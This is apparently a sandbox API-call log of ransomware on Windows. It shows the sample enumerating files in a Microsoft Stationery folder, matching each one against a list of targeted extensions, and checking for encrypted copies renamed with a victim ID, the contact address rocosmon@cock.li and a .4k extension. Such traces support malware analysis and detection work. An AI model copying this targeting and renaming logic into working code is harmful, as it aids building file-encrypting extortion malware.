	[0101.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0101.093] lstrlenW (lpString=".1cd") returned 4
	[0101.093] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0101.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0101.093] lstrlenW (lpString=".jpg") returned 4
	[0101.093] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0101.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0101.093] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0101.093] lstrlenW (lpString=".doc") returned 4
	[0101.093] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0101.093] lstrlenW (lpString=".docx") returned 5
	[0101.093] lstrcmpiW (lpString1=".docx", lpString2="s.jpg") returned -1
	[0101.094] lstrlenW (lpString=".pdf") returned 4
	[0101.094] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0101.094] lstrlenW (lpString=".xls") returned 4
	[0101.094] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0101.094] lstrlenW (lpString=".xlsx") returned 5
	[0101.094] lstrcmpiW (lpString1=".xlsx", lpString2="s.jpg") returned -1
	[0101.094] lstrlenW (lpString=".ppt") returned 4
	[0101.094] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0101.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0101.094] lstrlenW (lpString=".zip") returned 4
	[0101.094] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0101.094] lstrlenW (lpString=".rar") returned 4
	[0101.094] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0101.094] lstrlenW (lpString=".bz2") returned 4
	[0101.094] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0101.094] lstrlenW (lpString=".7z") returned 3
	[0101.094] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0101.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0101.094] lstrlenW (lpString=".dbf") returned 4
	[0101.094] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0101.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0101.094] lstrlenW (lpString=".1cd") returned 4
	[0101.094] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0101.094] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Bears.jpg") returned 67
	[0101.094] lstrlenW (lpString=".jpg") returned 4
	[0101.094] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0101.095] lstrcmpiW (lpString1=".jpg", lpString2=".4k") returned 1
	[0101.095] lstrlenW (lpString="Blue_Gradient.jpg") returned 17
	[0101.095] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0101.166] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=2575) returned 1
	[0101.166] CloseHandle (hObject=0x1f0) returned 1
	[0101.166] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg")) returned 0x20
	[0101.167] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.167] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\blue_gradient.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0101.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0101.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0101.167] lstrlenW (lpString=".doc") returned 4
	[0101.167] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0101.167] lstrlenW (lpString=".docx") returned 5
	[0101.167] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1
	[0101.167] lstrlenW (lpString=".pdf") returned 4
	[0101.167] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0101.167] lstrlenW (lpString=".xls") returned 4
	[0101.167] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0101.167] lstrlenW (lpString=".xlsx") returned 5
	[0101.167] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1
	[0101.167] lstrlenW (lpString=".ppt") returned 4
	[0101.167] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0101.167] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0101.167] lstrlenW (lpString=".zip") returned 4
	[0101.167] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0101.167] lstrlenW (lpString=".rar") returned 4
	[0101.167] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0101.167] lstrlenW (lpString=".bz2") returned 4
	[0101.167] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0101.167] lstrlenW (lpString=".7z") returned 3
	[0101.167] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0101.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0101.168] lstrlenW (lpString=".dbf") returned 4
	[0101.168] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0101.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0101.168] lstrlenW (lpString=".1cd") returned 4
	[0101.168] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0101.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0101.168] lstrlenW (lpString=".jpg") returned 4
	[0101.168] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0101.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0101.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0101.168] lstrlenW (lpString=".doc") returned 4
	[0101.168] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0101.168] lstrlenW (lpString=".docx") returned 5
	[0101.168] lstrcmpiW (lpString1=".docx", lpString2="t.jpg") returned -1
	[0101.168] lstrlenW (lpString=".pdf") returned 4
	[0101.168] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0101.168] lstrlenW (lpString=".xls") returned 4
	[0101.168] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0101.168] lstrlenW (lpString=".xlsx") returned 5
	[0101.168] lstrcmpiW (lpString1=".xlsx", lpString2="t.jpg") returned -1
	[0101.168] lstrlenW (lpString=".ppt") returned 4
	[0101.168] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0101.168] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0101.168] lstrlenW (lpString=".zip") returned 4
	[0101.168] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0101.168] lstrlenW (lpString=".rar") returned 4
	[0101.169] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0101.169] lstrlenW (lpString=".bz2") returned 4
	[0101.169] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0101.169] lstrlenW (lpString=".7z") returned 3
	[0101.169] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0101.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0101.169] lstrlenW (lpString=".dbf") returned 4
	[0101.169] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0101.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0101.169] lstrlenW (lpString=".1cd") returned 4
	[0101.169] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0101.169] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Blue_Gradient.jpg") returned 75
	[0101.169] lstrlenW (lpString=".jpg") returned 4
	[0101.169] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0101.169] lstrcmpiW (lpString1=".jpg", lpString2=".4k") returned 1
	[0101.169] lstrlenW (lpString="Garden.jpg") returned 10
	[0101.169] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0101.170] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=23871) returned 1
	[0101.170] CloseHandle (hObject=0x1f0) returned 1
	[0101.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg")) returned 0x20
	[0101.170] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.170] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\garden.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0101.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0101.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0101.170] lstrlenW (lpString=".doc") returned 4
	[0101.170] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0101.170] lstrlenW (lpString=".docx") returned 5
	[0101.170] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1
	[0101.170] lstrlenW (lpString=".pdf") returned 4
	[0101.170] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0101.170] lstrlenW (lpString=".xls") returned 4
	[0101.170] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0101.170] lstrlenW (lpString=".xlsx") returned 5
	[0101.170] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1
	[0101.170] lstrlenW (lpString=".ppt") returned 4
	[0101.170] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0101.170] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0101.171] lstrlenW (lpString=".zip") returned 4
	[0101.171] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0101.171] lstrlenW (lpString=".rar") returned 4
	[0101.171] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0101.171] lstrlenW (lpString=".bz2") returned 4
	[0101.171] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0101.171] lstrlenW (lpString=".7z") returned 3
	[0101.171] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0101.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0101.171] lstrlenW (lpString=".dbf") returned 4
	[0101.171] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0101.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0101.171] lstrlenW (lpString=".1cd") returned 4
	[0101.171] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0101.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0101.171] lstrlenW (lpString=".jpg") returned 4
	[0101.171] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0101.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0101.171] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0101.171] lstrlenW (lpString=".doc") returned 4
	[0101.171] lstrcmpiW (lpString1=".doc", lpString2=".jpg") returned -1
	[0101.171] lstrlenW (lpString=".docx") returned 5
	[0101.171] lstrcmpiW (lpString1=".docx", lpString2="n.jpg") returned -1
	[0101.171] lstrlenW (lpString=".pdf") returned 4
	[0101.171] lstrcmpiW (lpString1=".pdf", lpString2=".jpg") returned 1
	[0101.171] lstrlenW (lpString=".xls") returned 4
	[0101.171] lstrcmpiW (lpString1=".xls", lpString2=".jpg") returned 1
	[0101.172] lstrlenW (lpString=".xlsx") returned 5
	[0101.172] lstrcmpiW (lpString1=".xlsx", lpString2="n.jpg") returned -1
	[0101.172] lstrlenW (lpString=".ppt") returned 4
	[0101.172] lstrcmpiW (lpString1=".ppt", lpString2=".jpg") returned 1
	[0101.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0101.172] lstrlenW (lpString=".zip") returned 4
	[0101.172] lstrcmpiW (lpString1=".zip", lpString2=".jpg") returned 1
	[0101.172] lstrlenW (lpString=".rar") returned 4
	[0101.172] lstrcmpiW (lpString1=".rar", lpString2=".jpg") returned 1
	[0101.172] lstrlenW (lpString=".bz2") returned 4
	[0101.172] lstrcmpiW (lpString1=".bz2", lpString2=".jpg") returned -1
	[0101.172] lstrlenW (lpString=".7z") returned 3
	[0101.172] lstrcmpiW (lpString1=".7z", lpString2="jpg") returned -1
	[0101.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0101.172] lstrlenW (lpString=".dbf") returned 4
	[0101.172] lstrcmpiW (lpString1=".dbf", lpString2=".jpg") returned -1
	[0101.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0101.172] lstrlenW (lpString=".1cd") returned 4
	[0101.172] lstrcmpiW (lpString1=".1cd", lpString2=".jpg") returned -1
	[0101.172] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Garden.jpg") returned 68
	[0101.172] lstrlenW (lpString=".jpg") returned 4
	[0101.172] lstrcmpiW (lpString1=".jpg", lpString2=".jpg") returned 0
	[0101.172] lstrcmpiW (lpString1=".emf", lpString2=".4k") returned 1
	[0101.172] lstrlenW (lpString="Genko_1.emf") returned 11
	[0101.173] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x18c
	[0101.179] GetFileSizeEx (in: hFile=0x18c, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=5524) returned 1
	[0101.179] CloseHandle (hObject=0x18c) returned 1
	[0101.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf")) returned 0x20
	[0101.179] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0101.179] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_1.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0101.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0101.179] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0101.179] lstrlenW (lpString=".doc") returned 4
	[0101.179] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1
	[0101.180] lstrlenW (lpString=".docx") returned 5
	[0101.180] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1
	[0101.180] lstrlenW (lpString=".pdf") returned 4
	[0101.180] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1
	[0101.180] lstrlenW (lpString=".xls") returned 4
	[0101.180] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1
	[0101.180] lstrlenW (lpString=".xlsx") returned 5
	[0101.180] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1
	[0101.180] lstrlenW (lpString=".ppt") returned 4
	[0101.180] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1
	[0101.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0101.180] lstrlenW (lpString=".zip") returned 4
	[0101.180] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1
	[0101.180] lstrlenW (lpString=".rar") returned 4
	[0101.180] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1
	[0101.180] lstrlenW (lpString=".bz2") returned 4
	[0101.180] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1
	[0101.180] lstrlenW (lpString=".7z") returned 3
	[0101.180] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1
	[0101.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0101.180] lstrlenW (lpString=".dbf") returned 4
	[0101.180] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1
	[0101.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0101.180] lstrlenW (lpString=".1cd") returned 4
	[0101.180] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1
	[0101.180] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0101.180] lstrlenW (lpString=".jpg") returned 4
	[0101.181] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1
	[0101.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0101.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0101.181] lstrlenW (lpString=".doc") returned 4
	[0101.181] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1
	[0101.181] lstrlenW (lpString=".docx") returned 5
	[0101.181] lstrcmpiW (lpString1=".docx", lpString2="1.emf") returned -1
	[0101.181] lstrlenW (lpString=".pdf") returned 4
	[0101.181] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1
	[0101.181] lstrlenW (lpString=".xls") returned 4
	[0101.181] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1
	[0101.181] lstrlenW (lpString=".xlsx") returned 5
	[0101.181] lstrcmpiW (lpString1=".xlsx", lpString2="1.emf") returned -1
	[0101.181] lstrlenW (lpString=".ppt") returned 4
	[0101.181] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1
	[0101.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0101.181] lstrlenW (lpString=".zip") returned 4
	[0101.181] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1
	[0101.181] lstrlenW (lpString=".rar") returned 4
	[0101.181] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1
	[0101.181] lstrlenW (lpString=".bz2") returned 4
	[0101.181] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1
	[0101.181] lstrlenW (lpString=".7z") returned 3
	[0101.181] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1
	[0101.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0101.181] lstrlenW (lpString=".dbf") returned 4
	[0101.181] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1
	[0101.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0101.181] lstrlenW (lpString=".1cd") returned 4
	[0101.181] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1
	[0101.181] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_1.emf") returned 69
	[0101.181] lstrlenW (lpString=".jpg") returned 4
	[0101.181] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1
	[0101.394] lstrcmpiW (lpString1=".emf", lpString2=".4k") returned 1
	[0101.394] lstrlenW (lpString="Genko_2.emf") returned 11
	[0101.394] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f0
	[0102.265] GetFileSizeEx (in: hFile=0x1f0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=10340) returned 1
	[0102.265] CloseHandle (hObject=0x1f0) returned 1
	[0102.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf")) returned 0x20
	[0102.265] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0102.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\genko_2.emf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0102.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0102.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0102.266] lstrlenW (lpString=".doc") returned 4
	[0102.266] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1
	[0102.266] lstrlenW (lpString=".docx") returned 5
	[0102.266] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1
	[0102.266] lstrlenW (lpString=".pdf") returned 4
	[0102.266] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1
	[0102.266] lstrlenW (lpString=".xls") returned 4
	[0102.266] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1
	[0102.266] lstrlenW (lpString=".xlsx") returned 5
	[0102.266] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1
	[0102.266] lstrlenW (lpString=".ppt") returned 4
	[0102.266] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1
	[0102.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0102.266] lstrlenW (lpString=".zip") returned 4
	[0102.266] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1
	[0102.266] lstrlenW (lpString=".rar") returned 4
	[0102.266] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1
	[0102.266] lstrlenW (lpString=".bz2") returned 4
	[0102.266] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1
	[0102.266] lstrlenW (lpString=".7z") returned 3
	[0102.266] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1
	[0102.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0102.266] lstrlenW (lpString=".dbf") returned 4
	[0102.266] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1
	[0102.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0102.266] lstrlenW (lpString=".1cd") returned 4
	[0102.266] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1
	[0102.266] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0102.267] lstrlenW (lpString=".jpg") returned 4
	[0102.267] lstrcmpiW (lpString1=".jpg", lpString2=".emf") returned 1
	[0102.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0102.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0102.267] lstrlenW (lpString=".doc") returned 4
	[0102.267] lstrcmpiW (lpString1=".doc", lpString2=".emf") returned -1
	[0102.267] lstrlenW (lpString=".docx") returned 5
	[0102.267] lstrcmpiW (lpString1=".docx", lpString2="2.emf") returned -1
	[0102.267] lstrlenW (lpString=".pdf") returned 4
	[0102.267] lstrcmpiW (lpString1=".pdf", lpString2=".emf") returned 1
	[0102.267] lstrlenW (lpString=".xls") returned 4
	[0102.267] lstrcmpiW (lpString1=".xls", lpString2=".emf") returned 1
	[0102.267] lstrlenW (lpString=".xlsx") returned 5
	[0102.267] lstrcmpiW (lpString1=".xlsx", lpString2="2.emf") returned -1
	[0102.267] lstrlenW (lpString=".ppt") returned 4
	[0102.267] lstrcmpiW (lpString1=".ppt", lpString2=".emf") returned 1
	[0102.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0102.267] lstrlenW (lpString=".zip") returned 4
	[0102.267] lstrcmpiW (lpString1=".zip", lpString2=".emf") returned 1
	[0102.267] lstrlenW (lpString=".rar") returned 4
	[0102.267] lstrcmpiW (lpString1=".rar", lpString2=".emf") returned 1
	[0102.267] lstrlenW (lpString=".bz2") returned 4
	[0102.267] lstrcmpiW (lpString1=".bz2", lpString2=".emf") returned -1
	[0102.267] lstrlenW (lpString=".7z") returned 3
	[0102.267] lstrcmpiW (lpString1=".7z", lpString2="emf") returned -1
	[0102.267] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0102.267] lstrlenW (lpString=".dbf") returned 4
	[0102.267] lstrcmpiW (lpString1=".dbf", lpString2=".emf") returned -1
	[0102.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
	[0102.268] lstrlenW (lpString=".1cd") returned 4
	[0102.268] lstrcmpiW (lpString1=".1cd", lpString2=".emf") returned -1
	[0102.268] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\Stationery\\Genko_2.emf") returned 69
